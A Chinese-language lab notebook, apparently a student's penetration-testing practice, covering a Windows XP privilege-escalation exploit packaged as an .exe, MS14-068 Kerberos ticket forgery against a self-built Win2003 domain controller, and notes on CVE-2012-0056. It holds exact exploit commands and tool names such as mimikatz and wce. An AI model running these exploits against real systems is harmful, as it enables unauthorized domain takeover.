4. 生成.exe
- 不能保证渗透目标机有python环境，可以在kali中使用pyinstaller.py生成.exe文件。但试了好多次无论python2还是python3，pyinstaller执行python2的代码都会在print""报错
- 于是在xp安python2吧
# 使用 python2 的 pyinstaller 将 python 文件进行打包
root@kali:~# apt-get install python-pip
root@kali:~# pip install pyinstaller
# 或者 WinXP 下，安装 python2.7
C:>pyinstaller --onefile 18176.py
297 INFO: Building EXE from out00-EXE.toc
297 INFO: Appending archive to EXE C:dist18176.exe
328 INFO: Building EXE from out00-EXE.toc completed successfully.
好耶
18176.py -O XP
5. 运行exe提权成功
可以看到已经是system32权限了
二、Win7 使用 Ms14-068 获取 域控制器的权限
- 前提：有域中普通用户权限
- 具有本机管理权限，就可获得域的控制权限
- 域控制器，可以控制域里的所有机器
1. 域控制器设置静态IP
2003管理员在被设成域以后会提升为域管理员
- 配置网络:桥接
- 设置静态IP：作为域控制器，动态IP其他机器会找不到
- 域控制器 也是DNS服务器
- （我server设置桥接，且设置静态IP后，win7无法加入域，且相互ping不通
2.win2003搭建域控制器
3. win7加入域
win7的DNS指向域控制器的IP
4. server分配用户
后来改成了密码永不过期
5.用server分配的用户u1登录win7
6.kali中查看利用代码
- 在server里试了一下wce，可打印密码，但是有限，没有整个域管理员的权限
- 漏洞利用，指明域名，生成TGT文件（身份验证票据文件）
- 拷贝生成的票据文件到目标机中提升权限
searchsploit Ms14-068
cp /usr/share/exploitdb/exploits/windows/remote/35474.py /home/kali-2/Desktop
ms14-068.py -u user@lab.com -s userSID -d dc.lab.com
python 35474.py -u u1@grbLab.com -s s-1-5-21-3742705934-1299964701--3740703515-1107 -d 192.168.98.168
-u 用户名:登录用户名
-s userSID
-d 域控制器名称：在 Win7 计算机名称处查看，不在域控是，可以用IP地址代替，kali网关没指向server,是解析不了域名的
7. git clone缺少模块
proxychains git clone URL
第三天了，找了好多漏洞利用代码，还是报错
8. mimikatz里执行
三、利用 CVE-2012-0056 提升 linux 权限
1.是一个关于 /proc/pid/mem 的漏洞
2. 要求：内核大于2.6.39
